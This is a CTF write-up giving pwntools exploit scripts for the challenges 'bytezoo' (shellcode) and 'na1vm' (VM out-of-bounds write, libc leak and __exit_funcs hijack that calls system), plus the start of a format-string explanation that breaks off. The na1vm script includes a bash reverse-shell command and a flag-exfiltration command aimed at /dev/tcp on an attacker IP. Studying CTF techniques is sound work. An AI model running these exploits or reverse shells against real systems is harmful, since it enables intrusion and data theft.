bytezoo

<aside> πŸ“

Attachment:

</aside>

The intended solution was to use memmove and mprotect, moving the executable page all the way down to our stack page, mprotect stack to +x, then execute into it. fs_base was out of expection, and I’m sorry with the confusion and mistakes happening during releasing revenge challenge.

from pwn import *
import os 
dir_path = os.path.dirname(os.path.realpath(__file__))
exe_path = dir_path + '/pwn'
libc_path = dir_path + '/libc.so.6'
ld_path = dir_path + '/ld-linux-x86-64.so.2'
# libc = ELF(libc_path)

context.log_level = 'debug'
context.terminal = ['xterm', '-e']
context.arch = 'amd64'
exe = ELF(exe_path)

# con = gdb.debug(exe_path, gdbscript='''catch syscall 0''')

# con = process(exe_path)
# con = process([ld_path, exe_path], env={"LD_PRELOAD": libc_path})
con = remote('0.0.0.0', 8888)

# gdb.attach(con, gdbscript=
# '''
# set exception-verbose on
# b *main+0x393
# c
# ''')

asm_code = '''
mov edi, eax

xor ecx, ecx
mov ebp, ecx
push rbp
pop rsi
push rsi
pop rdx
inc esi
rol esi, 44
push rsi
push rsi
pop rcx
pop rdx # rdi = cur_seg, rbp = 0, rdx = rcx = rsi = 0x1000

mov ebx, esp
sub ebx, eax
sub ebx, ecx
cmp     ebx, ecx
ja      label_above

label_mprotect:
mov edi, eax # rdi = seg_start
label_loop2:
inc edi # edi = stack_start, rcx = 0
loop label_loop2
push rcx
pop rdx
inc edx
push rdx
pop rbp # rdx = 1, rbp = 1, rcx = 0
push rbp
imul dx, dx, 0x1fb1
imul dx, dx, 0x8137
imul bp, bp, 0x2321
imul bp, bp, 0x48ca
push rbp
pop rax
pop rbp
imul bp, bp, 0x4739
imul bp, bp, 0x23ee
push rbp
pop rcx
label_loop3:
push r15
dec ecx
jnz label_loop3
mov rbx, 0xF6EBC789FE87F287 # xchg edx, esi ; xchg esi, edi ; mov edi, eax ; jmp $-8
push rbx

jmp label_done

label_above:
push rbp
pop rax # rax = 0
inc ebp
inc ebp
inc ebp
mov r10, rbp # r10 = 3
mov r13, rdi
label_loop:
inc r13
loop label_loop
mov r8, r13 # r8 = rdi + 0x1000
push 0x79
pop rax
push 0x19
pop rax

label_done:
'''

import time
con.sendafter(b'Show me your proof of work.', asm(asm_code))
# time.sleep(3)
asm_code2 = '''
lea r15, [rip+0x47-7]
mov rax, 2
mov rdi, r15
mov rsi, 0
mov rdx, 0
syscall
mov rdi, rax
mov rax, 0
mov rsi, r15
mov rdx, 0x100
syscall
mov rdi, 1
mov rax, 1
syscall
'''

con.send(asm(asm_code2) + b'/flag\\0')
con.interactive()

Also shoutout to Arr3stYou, who found a simpler exploit using sigaction instead of memmove, which worked excellently as well!

na1vm

<aside> πŸ“

Attachment:

</aside>

You can get libc and control the vm regs by utiliziing the oob write over task queue struct. This brings you to such situation, where you are able to choose a base address, then arb r/w by push/pop commands. Intended sol was to hijack __exit_funcs where dl_fini is loaded by default. The memory mapping between libc and ld segments are stable in container, thus making leaking the encrypt key possible, then pivot all the way to change current_rtmin to cause exit() in the ipc protocol.

from pwn import *
import os
dir_path = os.path.dirname(os.path.realpath(__file__))
exe_path = dir_path + '/pwn'
libc_path = dir_path + '/lib/libc.so.6'
ld_path = dir_path + '/lib/ld-linux-x86-64.so.2'
context.log_level = 'debug'
context.terminal = ['xterm', '-e']
context.arch = 'amd64'

def var_dump(x, name=None):
    '''ζ‰“ε°ε˜ι‡εε’Œε€Ό
    Args:
        x: θ¦ζ‰“ε°ηš„ε€Ό
        name: ε―ι€‰ηš„ε˜ι‡εοΌŒε¦‚ζžœδΈζδΎ›εˆ™ε°θ―•θ‡ͺεŠ¨θŽ·ε–
    '''
    if name is None:
        # θŽ·ε–θ°ƒη”¨θ€…ηš„δ»£η θ‘Œ
        frame = inspect.currentframe().f_back
        call = inspect.getframeinfo(frame).code_context[0].strip()
        # ζε–ε‡½ζ•°θ°ƒη”¨δΈ­ηš„ε‚ζ•°ε
        try:
            name = call[call.index('var_dump(')+9:call.rindex(')')].strip()
        except:
            name = 'unknown'
    
    if isinstance(x, int):
        success(f'{name} = {x:#x}')
    else:
        success(f'{name} = {str(x)}')

libc = ELF(libc_path)
ld = ELF(ld_path)
exe = ELF(exe_path)

script = '''
set exception-verbose on
'''
# con = gdb.debug(exe_path, gdbscript=script)

# con = process(exe_path)
# gdb.attach(con, gdbscript=script)
# con = process([ld_path, exe_path], env={'LD_PRELOAD': libc_path})
con = remote('0.0.0.0', 8888)
# con = remote('1.95.148.231', 8888)

def pack_cmd(op, reg1, reg2, offset, imm):
    assert 0 <= op < (1 << 8)
    assert 0 <= reg1 < (1 << 4)
    assert 0 <= reg2 < (1 << 4)
    assert 0 <= offset < (1 << 16)
    assert 0 <= imm < (1 << 32)
    cmd = (reg1 << 48) | (reg2 << 52) | (offset << 32) | imm
    return f'{op} {cmd}'

def store(reg1, reg2, offset, imm):
    assert 0 <= reg1 < 15
    assert 0 <= reg2 < 15
    return pack_cmd(0x00, reg1, reg2, offset, imm)

def load(reg1, reg2, offset, imm):
    assert 0 <= reg1 < 15
    assert 0 <= reg2 < 15
    return pack_cmd(0x01, reg1, reg2, offset, imm)

def add(reg1, reg2, offset, imm):
    assert 0 <= reg1 < 15
    return pack_cmd(0x02, reg1, reg2, offset, imm)

def sub(reg1, reg2, offset, imm):
    assert 0 <= reg1 < 15
    return pack_cmd(0x03, reg1, reg2, offset, imm)

def pushadd(reg1, reg2, offset, imm):
    return pack_cmd(0x08, reg1, reg2, offset, imm)

def pushsub(reg1, reg2, offset, imm):
    return pack_cmd(0x09, reg1, reg2, offset, imm)

def popadd(reg1, reg2, offset, imm):
    assert 0 <= reg1 < 15
    return pack_cmd(0x0A, reg1, reg2, offset, imm)

def popsub(reg1, reg2, offset, imm):
    assert 0 <= reg1 < 15
    return pack_cmd(0x0B, reg1, reg2, offset, imm)

def dumpreg(reg1, reg2, offset, imm):
    assert 0 <= reg2 < 15
    return pack_cmd(0x10, reg1, reg2, offset, imm)

def resetvm(imm):
    return pack_cmd(0x20, 0, 0, 0, imm)

def resetqueue(imm):
    return pack_cmd(0x40, 0, 0, 0, imm)

cmd_queue_cnt = 0
can_io = False

def submit(cmd, skipped=False):
    global cmd_queue_cnt, can_io
    if not skipped:
        cmd_queue_cnt += 1
    flag1 = False
    flag2 = False
    while not flag1:
        if not can_io:
            # print('1-a')
            con.sendlineafter(b'> ', b'1')
        else:
            # print('1-b')
            con.sendline(b'1')
            can_io = False
        res = con.recvline().strip()
        # print('1-1', res)
        if res == b'oof':
            continue
        if b'$' in res:
            flag2 = True
        flag1 = True
    if not flag2:
        con.sendlineafter(b'$', cmd.encode())
    else:
        con.sendline(cmd.encode())
    tmp = con.recvuntil(b'Execute result: ')
    if b'>' in tmp:
        can_io = True
    con.recvline()

def execute(catch_output_list = []):
    ret = []
    global cmd_queue_cnt, can_io
    assert all(0 <= x < cmd_queue_cnt for x in catch_output_list)
    flag1 = False
    while not flag1:
        if not can_io:
            # print('2-a')
            con.sendlineafter(b'> ', b'2')
        else:
            # print('2-b')
            con.sendline(b'2')
            can_io = False
        res = con.recvline().strip()
        # print('2-1', res)
        if res == b'oof':
            continue
        flag1 = True
    rescnt = 0
    while rescnt < cmd_queue_cnt:
        # con.recvuntil(b'Execute result: ')
        res = con.recvline().strip()
        # print('2-2', res)
        if b'>' in res:
            can_io = True
            continue
        if not b'Execute result: ' in res:
            continue
        res = res.split(b': ')[1]
        res = int(res, 10)
        if rescnt in catch_output_list:
            var_dump('0x' + hex(res)[2:].zfill(16), f'cmd[{rescnt}] result')
            ret.append(res)
        rescnt += 1
    cmd_queue_cnt = 0
    return ret

start_time = time.time()
print('===== Start exploit =====')

# pause()
print('===== Preparation: Put reverse cmd =====')
REVERSE_IP = 
CMD = b"bash -c 'cat /flag > /dev/tcp/" + REVERSE_IP + b"/8888'"
CMD = b"bash -c 'sh -i >& /dev/tcp/" + REVERSE_IP + b"/8888 0>&1'"
for i in range(0, len(CMD), 4):
    chunk = CMD[i:i+4]
    chunk = chunk.ljust(4, b'\\x00')
    print(f'Writing chunk: {chunk}, addr: {hex(0xe000 + i)}, number: {u32(chunk)}')
    submit(store(13, 14, 0xe000 + i, u32(chunk)))
execute([])

print('===== Stage 1: Leak elf base =====')
# submit(store(0, 0, 0xffff, u32(b'\\xff\\x00\\x8b\\x00'))) # change sp
submit(store(0, 0, 0xffff, u32(b'\\xff\\x00\\x8c\\x00'))) # change mode
# print(can_io)
# pause()
execute([])
submit(pack_cmd(0, 0, 0, 0, 0)) # oob write, now head = 0, tail = 0, size = 1
submit(dumpreg(1, 0, 0, 0)) # leak sp, cmd stored at 0, head = 0, tail = 1, size = 2
tmp = execute([0]) # after this, head = 2, tail = 1, size = 0
elf_base = tmp[0] -0x4060
var_dump(hex(elf_base), 'elf_base')
CMD_ADDR = elf_base + 0x4060 + 0xe000

# changed elf implement, should leak from stdin/out/err ptr

leak_start = elf_base + 0x4040 + 6 - 4
print('===== Stage 2: Leak libc base =====')
submit(resetqueue(0), True) # store at 1, skipped
submit(resetqueue(0)) # store at 2
execute([]) # reset success
submit(store(0, 0, 0xffff, u32(b'\\xff\\x00\\x8b\\x00'))) # change sp
execute([])
submit(pack_cmd(leak_start >> 56, (leak_start >> 48) & 0xf, (leak_start >> 52) & 0xf, (leak_start >> 32) & 0xffff, leak_start & 0xffffffff), True) # oob write, now head = 0, tail = 0, size = 1
submit(resetqueue(0))
execute([])

submit(popadd(0, 1, 0, 0))
submit(popadd(0, 1, 0, 0))
tmp = execute([0, 1])
leak_libc = (tmp[0] << 32) | tmp[1]
var_dump(hex(leak_libc), 'leak_libc')
libc_base = (leak_libc >> 16) - libc.sym['_IO_2_1_stderr_']
var_dump(hex(libc_base), 'libc_base')

print('===== Stage 3: Manipulate __exit_funcs and initial struct =====')
stdin_addr = libc_base + libc.sym['_IO_2_1_stdin_']
stderr_addr = libc_base + libc.sym['_IO_2_1_stderr_']
stdout_addr = libc_base + libc.sym['_IO_2_1_stdout_']
current_rtmin_addr = libc_base + 0x233008
environ_addr = libc_base + 0x23ae28
exit_funcs_mangle_addr = libc_base - 0x2890
exit_funcs_struct_addr = libc_base + 0x234fe0
var_dump(hex(stdin_addr), 'stdin_addr')
var_dump(hex(stdout_addr), 'stdout_addr')
var_dump(hex(stderr_addr), 'stderr_addr')
var_dump(hex(current_rtmin_addr), 'current_rtmin_addr')
var_dump(hex(environ_addr), 'environ_addr')
# pause()

ld_base = libc_base + 0x244000
dl_fini_addr = ld_base + 0x6480

submit(pushadd(15, 15, 0, 0))
submit(pushadd(15, 15, 0, (stderr_addr << 16) & 0xffffffff))
submit(pushadd(15, 15, 0, (stderr_addr >> 16) & 0xffffffff))
submit(pushadd(15, 15, 0, (stdout_addr >> 48) & 0xffffffff))
submit(pushadd(15, 15, 0, (stdout_addr >> 80) & 0xffffffff))
for _ in range(4+2-1):
    submit(pushadd(15, 15, 0, 0))
execute([]) # do second control
submit(store(0, 0, 0xfffd, u32(b'\\xff\\x00\\x8b\\x00'))) # change sp
execute([])
target_addr = exit_funcs_struct_addr + 0x1c
submit(pack_cmd(target_addr >> 56, (target_addr >> 48) & 0xf, (target_addr >> 52) & 0xf, (target_addr >> 32) & 0xffff, target_addr & 0xffffffff), True) # oob write, now head = 0, tail = 0, size = 1
submit(resetqueue(0))
execute([])

# pause()
submit(popadd(0, 1, 0, 0))
submit(popadd(0, 1, 0, 0))
tmp = execute([0, 1])
protected_ptr = (tmp[0] << 32) | tmp[1]
var_dump(hex(protected_ptr), 'protected_ptr')
mangle_key = ((protected_ptr >> 17) | ((protected_ptr << (64 - 17)) & 0xFFFFFFFFFFFFFFFF)) ^ dl_fini_addr
var_dump(hex(mangle_key), 'mangle_key')

# pause()
cur_sp = 0x7fd618c82ff4
tar_sp = 0x7fd618c81008
submit(pushadd(15, 15, 0, 0))
cur_sp += 4
# test_gadget = elf_base + 0x11c0
test_target = libc_base + libc.sym['system']
test_arg = CMD_ADDR
do_mangle = lambda x: ((x ^ mangle_key) << 17 | (x ^ mangle_key) >> (64 - 17)) & 0xFFFFFFFFFFFFFFFF
submit(pushadd(15, 15, 0, do_mangle(test_target) & 0xffffffff))
submit(pushadd(15, 15, 0, (do_mangle(test_target) >> 32) & 0xffffffff))
cur_sp += 8
submit(pushadd(15, 15, 0, test_arg & 0xffffffff))
submit(pushadd(15, 15, 0, (test_arg >> 32) & 0xffffffff))
cur_sp += 8
execute([])

print('Adjusting sp to trigger exit funcs, please wait...')
context.log_level = 'info'
while cur_sp > tar_sp:
    for _ in range(127):
        submit(popsub(0, 2, 0, 0))
        cur_sp -= 4
        if cur_sp == tar_sp:
            break
    execute([])
    print(f'cur_sp: {hex(cur_sp)}, tar_sp: {hex(tar_sp)}')

print('===== Stage 4: Leak flag via reverse output =====')
# pause()
submit(pushadd(15, 15, 0, 0xdeadbeef), skipped=True)
context.log_level = 'debug'
execute([])

print('===== Finished, you should get flag at listening port =====')
end_time = time.time()
print(f'===== Total time: {end_time - start_time:.2f} seconds =====')
con.interactive() # prevent local sighup

Chuantongxiangyan

<aside> πŸ“

Attachment:

Chuantongxiangyan_attachment.zip

</aside>

The original purpose of this question was to test the ability to perform RCE exploitation within an infinite loop fmt vulnerability.

The full exploitation will be divided into two parts. The first part is to gain arb write primitive, the second part is to trigger RCE within arb write primitive.

Part1 - gain arb write primitive

To gain arb write primitive, we need to forge chain like β€˜Aβ†’Bβ†’C’.

In this case, C is the address pointer that we want to write, we can modify pointer C by using %{index of A}$hhn , and write the value we want in the pointer address by using %{index of B}$hhn

image.png

Looking back at the stack state in the problem, we find it's very clean, with no natural A->B->C exploitation chain. We can only start from argv.

If we want to implement arb write, we need to build node C first.